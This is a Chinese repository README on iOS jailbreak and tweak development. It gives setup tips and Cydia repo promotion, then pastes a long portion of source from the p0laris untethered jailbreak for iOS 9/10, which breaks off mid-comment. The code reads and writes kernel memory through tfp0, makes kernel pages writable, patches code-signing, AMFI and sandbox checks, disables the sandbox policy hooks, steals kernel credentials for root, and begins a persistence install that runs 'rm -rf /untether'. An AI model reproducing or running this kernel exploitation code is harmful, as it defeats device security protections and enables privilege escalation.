# iOS逆向工程集合
**Repository Path**: wox/Tweak
## Basic Information
- **Project Name**: iOS逆向工程集合
- **Description**: No description available
- **Primary Language**: Unknown
- **License**: MIT
- **Default Branch**: master
- **Homepage**: None
- **GVP Project**: No
## Statistics
- **Stars**: 2
- **Forks**: 13
- **Created**: 2023-02-22
- **Last Updated**: 2025-07-25
## Categories & Tags
**Categories**: Uncategorized
**Tags**: None
## README
# iOS应用逆向工程-Cydia越狱开发
# 我的微信公众号: Cydiapp
```
// _ooOoo_
// o8888888o
// 88" . "88
// (| -_- |)
// O\ = /O
// ____/`---'\____
// . ' \\| |// `.
// / \\||| : |||// \
// / _||||| -:- |||||- \
// | | \\\ - /// | |
// | \_| ''\---/'' | |
// \ .-\__ `-` ___/-. /
// ___`. .' /--.--\ `. . __
// ."" '< `.___\_<|>_/___.' >'"".
// | | : `- \`.;`\ _ /`;.`/ - ` : | |
// \ \ `-. \_ __\ /__ _/ .-` / /
// ======`-.____`-.___\_____/___.-`____.-'======
// `=---='
//
// .............................................
// 佛祖镇楼 逆向寻根
// 佛曰:
// 写字楼里写字间,写字间里程序员;
// 程序人员写程序,又拿程序换酒钱。
// 酒醒只在网上坐,酒醉还来网下眠;
// 酒醉酒醒日复日,网上网下年复年。
// 但愿老死电脑间,不愿鞠躬老板前;
// 奔驰宝马贵者趣,公交自行程序员。
// 别人笑我忒疯癫,我笑自己命太贱;
// 不见满街漂亮妹,哪个归得程序员?
```
# iOS Jailbreak Develop-hook-Reverse
# -----------------------------------
# 我的微信公众号: Cydiapp
# 我的微信公众号: Cydia
### XLsn0w's Cydia Repo: https://XLsn0w.github.io/tweak/
### XLsn0w's Cydia Repo: https://XLsn0w.github.io/tweaks/
```
.=====__
/==Z' .===_ ~~=,_===\
_/ | | YZ, `\, ~\
| | | _/=j'\ !, d
__====_| | b/ V`; /' .M ,
`5\==/~~ W, t d+, .D4| / /'|/~~~\=__ .-
`\ t~\ | |t`~~T/'|Z :/ | ~~\=/V
\ | \4, | ~/~' :Z -! | |
\, /\__| \\.! :XG \ / ._, ./'
`L | ~; V; _//' | \ .f~' `~; .b_
./ \\__JL `; Y7~ | / / d //' \,
.! `D\, `\, | .! .t/ .(_/=~ \
/ `;`~~~=+=qLb, jK_L==f' j'' `;
./ .(r, `~\5' ~\\,._r/ |
~=m! ./D' `\, \, !G~ t
~==___===/'/ .!`\__ /! __=~\\~=_ TG=
| .| ~\=\=r@/~5 \ !, ~=_, __//'
|./~V || `| \, t ~~~~\==~~
t| | | | | !\, \=_,
! t .! !, \ `\/~~~
| / !\/\
`; ./ `~-
t .!
N, ./'
`\/'
```
# -----------------------------------
# MonkeyDev 支持Xcode 12安装
## 修复Xcode12 MacOSX Package Types.xcspec not found报错
下载地址: https://github.com/XLsn0w/MonkeyDev_Xcode12
# -----------------------------------
# 遇到的问题
# libstdc++
`Xcode 10`之后删除的`libstdc++`库
1. 先下载下来这个项目,然后打开终端`cd`到`libstdc--master`文件夹;
2. 如果你使用的是 Xcode 10,则将`install-xcode_10.sh`拖到终端中执行即可;
3. Xcode 11 之后的版本则将`install-xcode_11+.sh`拖到终端中执行。
## iOS file not found: /usr/lib/libstdc++.dylib
```
下载解压这个文件 https://github.com/MonkeyDev_Xcode12/Xcode11+libstdc++
~ % cd /Users/xlsn0w/libstdc-
~ % sudo sh install-xcode_11+.sh
```
A cross-platform build system for creating iOS,
macOS, Linux, and Windows programs.
Home –
Documentation –
Get Help –
@theosdev –
Discord
## Contributors
# -----------------------------------
### “MonkeyDev error: Signing for “xlsn0wDylib” requires a development team.”
### “Select a development team in the Signing & Capabilities editor.”
在Xcode中 选中Dylib对应的target (in target ‘xlsn0wDylib’)
点击Build Settings 中
添加"CODE_SIGNING_ALLOWED = NO" 关闭对Dylib的Code签名
# -----------------------------------
# Cydia Substrate
## - 底层使用Method Swizzle 和 fishhook实现
Cydia Substrate 原名为 Mobile Substrate 由SaurikIT开发
它的主要作用是针对OC方法、C函数以及函数地址进行HOOK操作。当然它并不是仅仅针对iOS而设计的,安卓一样可以用。
官方地址:http://www.cydiasubstrate.com/
## libsubstrate.dylib 库文件
## libsubstitute.dylib 库文件
从越狱的iPhone上拷贝/Library/Frameworks/CydiaSubstrate.framework/CydiaSubstrate 到Mac电脑的目录 /opt/theos/lib/ ,并修改名称为 libsubstrate.dylib
### 如果是使用unc0ver越狱的话, 用Filza从 /usr/lib/libsubstitute.dylib 复制到Mac电脑的目录 /opt/theos/lib/
Cydia Substrate主要由3部分组成:
MobileHooker
MobileHooker顾名思义用于HOOK。它定义一系列的宏和函数,底层调用objc的runtime和fishhook来替换系统或者目标应用的函数.
```
其中有两个函数:
void MSHookMessageEx(Class class, SEL selector, IMP replacement, IMP result)
主要作用于Objective-C方法
void MSHookFunction(voidfunction,void* replacement,void** p_original)
主要作用于C和C++函数, Logos语法的%hook 就是对此函数做了一层封装
利用DCRM V4搭建Cydia Repo教程 https://github.com/XLsn0w/Dumb-Cydia-Repository-Manager
添加公众号Cydia源:
Cydia Repo: https://XLsn0w.github.io/tweak/
Cydia Repo: https://XLsn0w.github.io/tweaks/
Cydia Repo: https://XLsn0w.github.io/Cydiapp/
iOS进阶福利群
QQ会员群号: 582415518 (内含稀缺资源下载)
点击赞赏二维码+WeChat
iOS教学
Cydia C++源码
iOS13-14越狱源代码
iOS14.5完美越狱实现源码
```
## 解决Mac终端 Failed to connect to raw.githubusercontent.com port 443
## 解决 raw.githubusercontent.com 无法访问
1.打开
https://www.ipaddress.com
2.这个网站中的查询框中输入:raw.githubusercontent.com
3.回车
4.在里面找到raw.githubusercontent.com相对应的ipv4地址:
5.前四个地址随便选一个即可:
```
🇺🇸 raw.githubusercontent.com A 185.199.108.133
🇺🇸 raw.githubusercontent.com A 185.199.109.133
🇺🇸 raw.githubusercontent.com A 185.199.110.133
🇺🇸 raw.githubusercontent.com A 185.199.111.133
```
6.在cmd+shift+G 输入/etc/hosts
7.在hosts 添加一行代码 如下
```
185.199.108.133 raw.githubusercontent.com
```
## iOS获取任何砸壳ipa的资源图片工具
iOS Images Extractor : https://github.com/devcxm/iOS-Images-Extractor
## iOS调试UI的工具Lookin
Lookin 可以查看与修改 iOS App 里的 UI 对象,
类似于 Xcode 自带的 UI Inspector 工具,
或另一款叫做 Reveal 的软件。 官网:https://lookin.work/
## 如果.ipa或.app是做了防护 只能runtime classdumpdyld弄了
参考文章: https://mp.weixin.qq.com/s/m1TUrSfc4cvYbGAcGAtQeg

```
#cycript -p SpringBoard
@import net.limneos.classdumpdyld;
classdumpdyld.dumpClass(SpringBoard);
@"Wrote file /tmp/SpringBoard.h"
classdumpdyld.dumpBundle([NSBundle mainBundle]);
@"Wrote all headers to /tmp/SpringBoard"
// Dump any bundle other than the main bundle
classdumpdyld.dumpBundle([NSBundle bundleWithIdentifier:@"com.apple.UIKit"]);
@"Wrote all headers to /tmp/UIKit"
// Dump any image loaded in the process using any class name it contains
classdumpdyld.dumpBundleForClass(CallBarControllerModern);
@"Wrote all headers to /tmp/CallBar7"
```
### iOS untethered jailbreak for iOS 9.x and 10.x p0laris Implementation principle
```
#include
#include
#include
#include
#include
#include
#include
#include
#include
#import "patchfinder.h"
#import "common.h"
#import "sbops.h"
#import "log.h"
/*
* I live in a constant state of fear and misery
* Do you miss me anymore?
* And I don't even notice when it hurts anymore
* Anymore, anymore, anymore
*/
#define INSTALL_NONPUBLIC_UNTETHER 0
#define FIRST_TIME_OVERRIDE 0
#define INSTALL_UNTETHER 0
#define BTSERVER_USED 0
#define UNPATCH_PMAP 0
#define ENABLE_DEBUG 0
#define DO_CSBYPASS 0
#define DUMP_KERNEL 0
uintptr_t kernel_base = -1;
uintptr_t kaslr_slide = -1;
task_t tfp0 = 0;
uintptr_t kbase(void);
task_t get_kernel_task(void);
void exploit_cleanup(task_t);
int progress(const char* s, ...);
int progress_ui(const char* s, ...);
#define UNSLID_BASE 0x80001000
// A5
uint32_t pmap_addr = 0x003F6454;
uint32_t find_kernel_pmap(void) {
return pmap_addr + kernel_base;
}
/*
* read 4-bytes from address addr from kernel memory
*/
uint32_t kread_uint32(uint32_t addr) {
vm_size_t bytesRead=0;
uint32_t ret = 0;
vm_read_overwrite(tfp0,
addr,
4,
(vm_address_t)&ret,
&bytesRead);
return ret;
}
/*
* read a byte from address addr from kernel memory
*/
uint8_t kread_uint8(uint32_t addr) {
vm_size_t bytesRead=0;
uint8_t ret = 0;
vm_read_overwrite(tfp0,
addr,
1,
(vm_address_t)&ret,
&bytesRead);
return ret;
}
/*
* write a 4-byte value to address addr in kernel memory
*/
void kwrite_uint32(uint32_t addr, uint32_t value) {
vm_write(tfp0,
addr,
(vm_offset_t)&value,
4);
}
/*
* write a byte value to address addr in kernel memory
*/
void kwrite_uint8(uint32_t addr, uint8_t value) {
vm_write(tfp0,
addr,
(vm_offset_t)&value,
1);
}
/*
* free and nullify pointer macro
*/
void _zfree(void** ptr) {
free(*ptr);
*ptr = NULL;
}
#define zfree(ptr) do { _zfree((void**)ptr); } while (0)
extern char **environ;
void run_cmd(char *cmd, ...) {
pid_t pid;
va_list ap;
char* cmd_ = NULL;
va_start(ap, cmd);
vasprintf(&cmd_, cmd, ap);
char *argv[] = {"sh", "-c", cmd_, NULL};
int status;
lprintf("Run command: %s", cmd_);
status = posix_spawn(&pid, "/bin/sh", NULL, NULL, argv, environ);
if (status == 0) {
lprintf("Child pid: %i", pid);
do {
if (waitpid(pid, &status, 0) != -1) {
lprintf("Child status %d", WEXITSTATUS(status));
} else {
perror("waitpid");
}
} while (!WIFEXITED(status) && !WIFSIGNALED(status));
} else {
lprintf("posix_spawn: %s", strerror(status));
}
}
bool exists(char* path) {
bool ret = false;
/*
* check if file exists and is accessible
*/
ret = access(path, F_OK) != -1;
return ret;
}
/*
* BEGIN ADVANCED BORROWING FROM REALKJCMEMBER
*/
#define TTB_SIZE 4096
#define L1_SECT_S_BIT (1 << 16)
#define L1_SECT_PROTO (1 << 1) /* 0b10 */
#define L1_SECT_AP_URW (1 << 10) | (1 << 11)
#define L1_SECT_APX (1 << 15)
#define L1_SECT_DEFPROT (L1_SECT_AP_URW | L1_SECT_APX)
#define L1_SECT_SORDER (0) /* 0b00, not cacheable, strongly ordered. */
#define L1_SECT_DEFCACHE (L1_SECT_SORDER)
#define L1_PROTO_TTE(entry) (entry | L1_SECT_S_BIT | L1_SECT_DEFPROT | L1_SECT_DEFCACHE)
uint32_t pmaps[TTB_SIZE];
int pmapscnt = 0;
void patch_kernel_pmap(void) {
uint32_t kernel_pmap = find_kernel_pmap();
uint32_t kernel_pmap_store = kread_uint32(kernel_pmap);
uint32_t tte_virt = kread_uint32(kernel_pmap_store);
uint32_t tte_phys = kread_uint32(kernel_pmap_store+4);
lprintf("kernel pmap store @ 0x%08x",
kernel_pmap_store);
lprintf("kernel pmap tte is at VA 0x%08x PA 0x%08x",
tte_virt,
tte_phys);
/*
* every page is writable
*/
uint32_t i;
for (i = 0; i < TTB_SIZE; i++) {
uint32_t addr = tte_virt + (i << 2);
uint32_t entry = kread_uint32(addr);
if (entry == 0) continue;
if ((entry & 0x3) == 1) {
/*
* if the 2 lsb are 1 that means there is a second level
* pagetable that we need to give readwrite access to.
* zero bytes 0-10 to get the pagetable address
*/
uint32_t second_level_page_addr = (entry & (~0x3ff)) - tte_phys + tte_virt;
for (int i = 0; i < 256; i++) {
/*
* second level pagetable has 256 entries, we need to patch all
* of them
*/
uint32_t sladdr = second_level_page_addr+(i<<2);
uint32_t slentry = kread_uint32(sladdr);
if (slentry == 0)
continue;
/*
* set the 9th bit to zero
*/
uint32_t new_entry = slentry & (~0x200);
if (slentry != new_entry) {
kwrite_uint32(sladdr, new_entry);
pmaps[pmapscnt++] = sladdr;
}
}
continue;
}
if ((entry & L1_SECT_PROTO) == 2) {
uint32_t new_entry = L1_PROTO_TTE(entry);
new_entry &= ~L1_SECT_APX;
kwrite_uint32(addr, new_entry);
}
}
lprintf("every page is actually writable");
usleep(100000);
}
void pmap_unpatch(void) {
while (pmapscnt > 0) {
uint32_t sladdr = pmaps[--pmapscnt];
uint32_t slentry = kread_uint32(sladdr);
/*
* set the 9th bit to one
*/
uint32_t new_entry = slentry | (0x200);
kwrite_uint32(sladdr, new_entry);
}
}
/*
* END ADVANCED BORROWING FROM REALKJCMEMBER
*/
double get_time(void) {
struct timeval current_time;
gettimeofday(¤t_time, NULL);
return (double)current_time.tv_sec
+ ((double)current_time.tv_usec / 1000000.0);
}
uint8_t* dump_kernel(uint8_t* kdata, uint32_t len) {
vm_size_t segment = 0x800;
/*
* 0x800 should be faster thx sig
*/
for (int i = 0; i < len / segment; i++) {
/*
* DUMP DUMP DUMP
*/
vm_read_overwrite(tfp0,
UNSLID_BASE + kaslr_slide + (i * segment),
segment,
(vm_address_t)kdata + (i * segment),
&segment);
}
return kdata;
}
extern struct offsets_t* offsets;
extern bool global_untethered;
uint32_t ourcred;
uint32_t myproc;
struct offsets_t* find_offsets(void) {
/*
* look ma i did a patchfinder
* saves offsets to (docs_dir)/offsets.bin for future use, as the patchfinder
* is kinda slow as balls
*/
struct offsets_t* offsets = malloc(sizeof(struct offsets_t));
uint32_t len = 32 * 1024 * 1024;
uint8_t* kdata = NULL;
char* open_this = NULL;
char* version_string = (char*)[[[UIDevice currentDevice] systemVersion]
UTF8String];
if (!global_untethered) {
/*
* if we are not running from the untether, check the application docs
* directory for the offsets.bin file. if it exists, read it into the
* offsets struct and return it, otherwise, find our offsets "manually"
* using the patchfinder.
*/
NSArray *paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES);
NSString *documentsDirectory = [paths firstObject];
char* doc_dir = (char*)[documentsDirectory UTF8String];
asprintf(&open_this, "%s/offsets.bin", doc_dir);
if (exists(open_this)) {
/*
* read from offsets.bin into the offsets struct and return it
*/
FILE* fp = fopen(open_this, "rb");
fread(offsets, sizeof(struct offsets_t), 1, fp);
fclose(fp);
return offsets;
}
} else {
/*
* if we are running from the untether, read from
* /untether/docs/untether.bin (if the file exists) to get offsets.
* /untether/docs is a symlink to the normal documents directory. this
* is done because the documents directory appears to be different when
* running untethered.
*
* (also because i originally tried /untether/offsets.bin until i
* realized we can't read from that path when not jailbroken, lol)
*/
char* offsets_bin = "/untether/docs/offsets.bin";
if (exists(offsets_bin)) {
/*
* read from offsets.bin into the offsets struct and return it
*/
FILE* fp = fopen(offsets_bin, "rb");
fread(offsets, sizeof(struct offsets_t), 1, fp);
fclose(fp);
return offsets;
}
}
/*
* dump kernel
*/
progress_ui("dumping kernel");
kdata = malloc(len);
dump_kernel(kdata, len);
if (!kdata) {
/*
* fuck, failed to allocate kdata.
*
* free offsets if it exists, zfree also sets it to NULL. (fuck UAFs)
* (except when i get to exploit them ;))
*/
if (offsets)
zfree(&offsets);
return NULL;
}
/*
* make substrate patchfinding a bit faster
*/
uint32_t* one_and_two = NULL;
progress_ui("patchfinding...");
offsets->mount_common = find_mount_common(kernel_base, kdata, len, version_string);
offsets->lwvm1 = find_lwvm1(kernel_base, kdata, len, version_string);
offsets->lwvm2 = find_lwvm2(kernel_base, kdata, len, version_string);
offsets->lwvm_call = find_lwvm_call(kernel_base, kdata, len, version_string);
offsets->lwvm_call_offset = find_lwvm_call_offset(kernel_base, kdata, len, version_string);
offsets->sbops = find_sbops(kernel_base, kdata, len, version_string);
one_and_two = find_substrate1_and_2(kernel_base, kdata, len, version_string);
offsets->substrate1 = one_and_two[0];
offsets->substrate2 = one_and_two[1];
offsets->proc_enforce = find_proc_enforce(kernel_base, kdata, len, version_string);
offsets->cs_enforcement_disable_amfi = find_cs_enforcement_disable_amfi(kernel_base, kdata, len, version_string);
offsets->PE_i_can_has_debugger_1 = find_PE_i_can_has_debugger_1(kernel_base, kdata, len, version_string);
offsets->PE_i_can_has_debugger_2 = find_PE_i_can_has_debugger_2(kernel_base, kdata, len, version_string);
offsets->PE_i_can_has_debugger_offset = find_PE_i_can_has_debugger_offset(kernel_base, kdata, len, version_string);
offsets->vm_fault_enter_patch = find_vm_fault_enter_patch(kernel_base, kdata, len, version_string);
offsets->vm_map_enter_patch = find_vm_map_enter_patch(kernel_base, kdata, len, version_string);
offsets->csops = find_csops(kernel_base, kdata, len, version_string);
offsets->mapForIO = find_mapForIO(kernel_base, kdata, len, version_string);
offsets->sandbox_call_i_can_has_debugger = find_sandbox_call_i_can_has_debugger(kernel_base, kdata, len, version_string);
offsets->amfi_file_check_mmap = find_amfi_file_check_mmap(kernel_base, kdata, len, version_string);
offsets->allproc = find_allproc(kernel_base, kdata, len, version_string);
offsets->tfp0 = find_tfp0(kernel_base, kdata, len, version_string);
progress_ui("patchfinded");
/*
* write our offsets to docs_dir/offsets.bin
*/
open_this = NULL;
NSArray *paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory,
NSUserDomainMask,
YES);
NSString *documentsDirectory = [paths firstObject];
char* doc_dir = (char*)[documentsDirectory UTF8String];
asprintf(&open_this, "%s/offsets.bin", doc_dir);
FILE* fp = fopen(open_this, "wb");
fwrite(offsets,
sizeof(struct offsets_t),
1,
fp);
fclose(fp);
if (one_and_two)
zfree(&one_and_two);
if (kdata)
zfree(&kdata);
return offsets;
}
bool patch_kernel(void) {
bool ret = true;
/*
* here be dragons, this code is magic
*/
offsets = find_offsets();
if (offsets == NULL)
return false;
/*
* mount stuff
*/
lprintf("patching mount_common: 0x%08x,0x%02x",
kernel_base + offsets->mount_common, 0xe0);
kwrite_uint8(kernel_base + offsets->mount_common, 0xe0);
/*
* PE_i_can_has_debugger stuff
*/
lprintf("patching PE_i_can_has_debugger_offset: 0x%08x,0x%08x->0x%08x",
kernel_base + offsets->PE_i_can_has_debugger_offset, kread_uint32(kernel_base + offsets->PE_i_can_has_debugger_offset), 0x20012001);
kwrite_uint32(kernel_base + offsets->PE_i_can_has_debugger_offset,
0x20012001);
/*
* note for tomorrow / today:
* look into patching time related syscalls in the kernel
*/
/*
* this AMFI patch is disabled as the offset was probably wrong or something
* for some reason it would make video decoding cause a magical kernel panic
*/
/*
* substrate
*/
lprintf("patching substrate1: 0x%08x,0x%04x",
kernel_base + offsets->substrate1,
0xbf00);
kwrite_uint8(kernel_base + offsets->substrate1, 0x00);
kwrite_uint8(kernel_base + offsets->substrate1 + 1, 0xbf);
/*
* substrate
*/
lprintf("patching substrate2: 0x%08x,0x%04x",
kernel_base + offsets->substrate2,
0xbf00);
kwrite_uint8(kernel_base + offsets->substrate2, 0x00);
kwrite_uint8(kernel_base + offsets->substrate2 + 1, 0xbf);
/*
* proc_enforce -> 0
*/
lprintf("patching proc_enforce: 0x%08x,0x%08x",
kernel_base + offsets->proc_enforce,
0x0);
kwrite_uint32(kernel_base + offsets->proc_enforce,0);
/*
* cs_enforcement_disable_amfi
*/
lprintf("patching cs_enforcement_disable_amfi: 0x%08x,0x%04x",
kernel_base + offsets->cs_enforcement_disable_amfi - 1,
0x0101);
kwrite_uint8(kernel_base + offsets->cs_enforcement_disable_amfi, 1);
kwrite_uint8(kernel_base + offsets->cs_enforcement_disable_amfi - 1, 1);
/*
* PE_i_can_has_debugger -> 1
*/
lprintf("patching PE_i_can_has_debugger_1: 0x%08x,0x%08x",
kernel_base + offsets->PE_i_can_has_debugger_1,
0x1);
kwrite_uint32(kernel_base + offsets->PE_i_can_has_debugger_1, 1);
lprintf("patching PE_i_can_has_debugger_2: 0x%08x,0x%08x",
kernel_base + offsets->PE_i_can_has_debugger_2,
0x1);
kwrite_uint32(kernel_base + offsets->PE_i_can_has_debugger_2, 1);
/*
* vm_fault_enter magic
*/
lprintf("patching vm_fault_enter_patch: 0x%08x,0x%04x",
kernel_base + offsets->vm_fault_enter_patch,
0x2201);
kwrite_uint8(kernel_base + offsets->vm_fault_enter_patch, 0x01);
kwrite_uint8(kernel_base + offsets->vm_fault_enter_patch + 1, 0x22);
/*
* vm_map_enter_patch
*/
lprintf("patching vm_map_enter_patch: 0x%08x,0x%08x",
kernel_base + offsets->vm_map_enter_patch,
0xbf00bf00);
kwrite_uint32(kernel_base + offsets->vm_map_enter_patch, 0xbf00bf00);
/*
* mapForIO magic
*/
lprintf("patching mapForIO: 0x%08x,0x%08x",
kernel_base + offsets->mapForIO,
0xbf00bf00);
kwrite_uint32(kernel_base + offsets->mapForIO, 0xbf00bf00);
/*
* csops magic
*/
lprintf("patching csops: 0x%08x,0x%08x",
kernel_base + offsets->csops,
0xbf00bf00);
kwrite_uint32(kernel_base + offsets->csops, 0xbf00bf00);
/*
* amfi_file_check_mmap magic
*/
lprintf("patching amfi_file_check_mmap: 0x%08x,0x%08x",
kernel_base + offsets->amfi_file_check_mmap,
0xbf00bf00);
kwrite_uint32(kernel_base + offsets->amfi_file_check_mmap, 0xbf00bf00);
/*
* sandbox_call_i_can_has_debugger magic
*/
lprintf("patching sandbox_call_i_can_has_debugger: 0x%08x,0x%08x",
kernel_base + offsets->sandbox_call_i_can_has_debugger,
0xbf00bf00);
kwrite_uint32(kernel_base + offsets->sandbox_call_i_can_has_debugger,0xbf00bf00);
/*
* lwvm
*/
lprintf("patching lwvm1: 0x%08x,0x%08x",
kernel_base + offsets->lwvm1,
0xf8d1e00f);
kwrite_uint32(kernel_base + offsets->lwvm1, 0xf8d1e00f);
lprintf("patching lwvm2: 0x%08x,0x%08x",
kernel_base + offsets->lwvm2,
0x2501e003);
kwrite_uint32(kernel_base + offsets->lwvm2, 0x2501e003);
lprintf("patching lwvm_call: 0x%08x,0x%08x",
kernel_base + offsets->lwvm_call,
kernel_base + offsets->lwvm_call_offset);
kwrite_uint32(kernel_base + offsets->lwvm_call,
kernel_base + offsets->lwvm_call_offset);
/*
* tfp0
*/
lprintf("patching tfp0: 0x%08x,0x%08x->0x%08x",
kernel_base + offsets->tfp0,
0xbf00bf00);
kwrite_uint32(kernel_base + offsets->tfp0, 0xbf00bf00);
/*
* fuck the sandbox
*/
lprintf("nuking sandbox @ 0x%08x", kernel_base + offsets->sbops);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_rename), 0);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_access), 0);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_chroot), 0);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_create), 0);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_file_check_mmap), 0);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_deleteextattr), 0);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_exchangedata), 0);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_exec), 0);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_getattrlist), 0);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_getextattr), 0);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_ioctl), 0);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_link), 0);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_listextattr), 0);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_open), 0);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_readlink), 0);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_setattrlist), 0);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_setextattr), 0);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_setflags), 0);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_setmode), 0);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_setowner), 0);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_setutimes), 0);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_setutimes), 0);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_stat), 0);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_truncate), 0);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_unlink), 0);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_notify_create), 0);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_fsgetpath), 0);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_getattr), 0);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_mount_check_stat), 0);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_proc_check_fork), 0);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_iokit_check_get_property), 0);
kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_cred_label_update_execve), 0);
/*
* get kernel credentials so we can get our friend, uid=0.
*/
lprintf("stealing kernel creds");
uint32_t allproc_read = kread_uint32(kernel_base + offsets->allproc);
lprintf("uint32_t allproc = 0x%08x, uint32_t allproc_read = 0x%08x;",
kernel_base + offsets->allproc,
allproc_read);
pid_t our_pid = getpid();
lprintf("our_pid = %d", our_pid);
myproc = 0;
uint32_t kernproc = 0;
/*
* this code traverses a linked list in kernel memory to find the processes.
* cleaned up
*
* struct proc {
* LIST_ENTRY(proc) p_list; // List of all processes. //
*
* pid_t p_pid; // Process identifier. (static) //
* void * task; // corresponding task (static) //
* ...
* };
*
* #define LIST_ENTRY(type) \
* struct { \
* struct type *le_next; // next element // \
* struct type **le_prev; // address of previous next element // \
* }
*
* sizeof(uintptr_t) on 32-bit = 4
* 2 pointers = 2 * 4 = 8
* offset of p_pid = 8
* the next proc entry is the first pointer in the LIST_ENTRY struct, which is conveniently
* the first element in the proc struct.
* therefore, offset of the next proc entry is 0
*
* loop through the linked list by getting allproc
* check the pid, and compare it to ours or the kernels
* save it if it's either, otherwise continue
*
* eventually at the end we have the addresses of the kernel's proc struct and ours.
* now we do writing magic to get kernel privs :P
*/
if (allproc_read != 0) {
while (myproc == 0 || kernproc == 0) {
uint32_t kpid = kread_uint32(allproc_read + 8);
if (kpid == our_pid) {
myproc = allproc_read;
lprintf("found myproc 0x%08x, %d", myproc, kpid);
} else if (kpid == 0) {
kernproc = allproc_read;
lprintf("found kernproc 0x%08x, %d", kernproc, kpid);
}
allproc_read = kread_uint32(allproc_read);
}
} else {
/* fail */
return false;
}
/*
* TODO: don't hardcode 0xa4, ideally write patchfinder code for it
*/
uint32_t kern_ucred = kread_uint32(kernproc + 0xa4);
lprintf("uint32_t kern_ucred = 0x%08x;", kern_ucred);
ourcred = kread_uint32(myproc + 0xa4);
lprintf("uint32_t ourcred = 0x%08x;", ourcred);
/*
* i am (g)root
*/
kwrite_uint32(myproc + 0xa4, kern_ucred);
setuid(0);
return ret;
}
void easy_spawn(char* bin, char* argv[]) {
pid_t pid;
int status;
status = posix_spawn(&pid, bin, NULL, NULL, argv, environ);
if (status == 0) {
lprintf("Child pid: %i", pid);
do {
if (waitpid(pid, &status, 0) != -1) {
lprintf("Child status %d", WEXITSTATUS(status));
} else {
perror("waitpid");
}
} while (!WIFEXITED(status) && !WIFSIGNALED(status));
} else {
lprintf("posix_spawn: %s", strerror(status));
}
}
NSString* resource_path = NULL;
char* bundle_path(char* path) {
char* ret = NULL;
if (!resource_path)
resource_path = [[NSBundle mainBundle] resourcePath];
ret = (char*)[[resource_path stringByAppendingPathComponent:
[NSString stringWithUTF8String:path]] UTF8String];
return ret;
}
#if INSTALL_UNTETHER
#if !INSTALL_NONPUBLIC_UNTETHER
bool install_untether(void) {
bool ret = true;
/*
* if re-installing, remove the previous untether directory
*/
run_cmd("rm -rf /untether");
/*
* probably shouldn't be 777, will look into later
*/
mkdir("/untether", 0777);
/*
* get path of p0laris, and symlink it for the final 0wnage
*/
char* bin_path = bundle_path("p0laris");
symlink(bin_path, "/untether/p0laris");
/*
* make /usr/local/bin
* sandbox policy bypass allows you to use arbitrary interpreter binaries
* IF you put them at specific locations.
* you can not use a symlink, the actual binary must be at the location.
* decompiled sandbox policies:
* (deny process-exec-interpreter
* (require-all
* (require-not (debug-mode))
* (require-all (require-not (literal "/bin/sh"))
* (require-not (literal "/bin/bash"))
* (require-not (literal "/usr/bin/perl"))
* (require-not (literal "/usr/local/bin/scripter")) <- i use this one
* (require-not (literal "/usr/local/bin/luatrace"))
* (require-not (literal "/usr/sbin/dtrace")))))
*
* source: https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-1.html
*/
mkdir("/usr/local/", 0777);
mkdir("/usr/local/bin/", 0777);
/*
* important:
* DO NOT symlink, this will not work,
* as the binary will still be located at its previous path.
*
* actually copy the full executable, permissions and all, to the new path.
*/
run_cmd("/bin/cp -p /sbin/mount /usr/local/bin/scripter");
/*
* now for the actual persistence bug.
* this next bit is stolen from the untether gist, as i'm too lazy to rewrite it.
*
* bug3:
* platform-application bypass,
* custom filesystem
* directory structure:
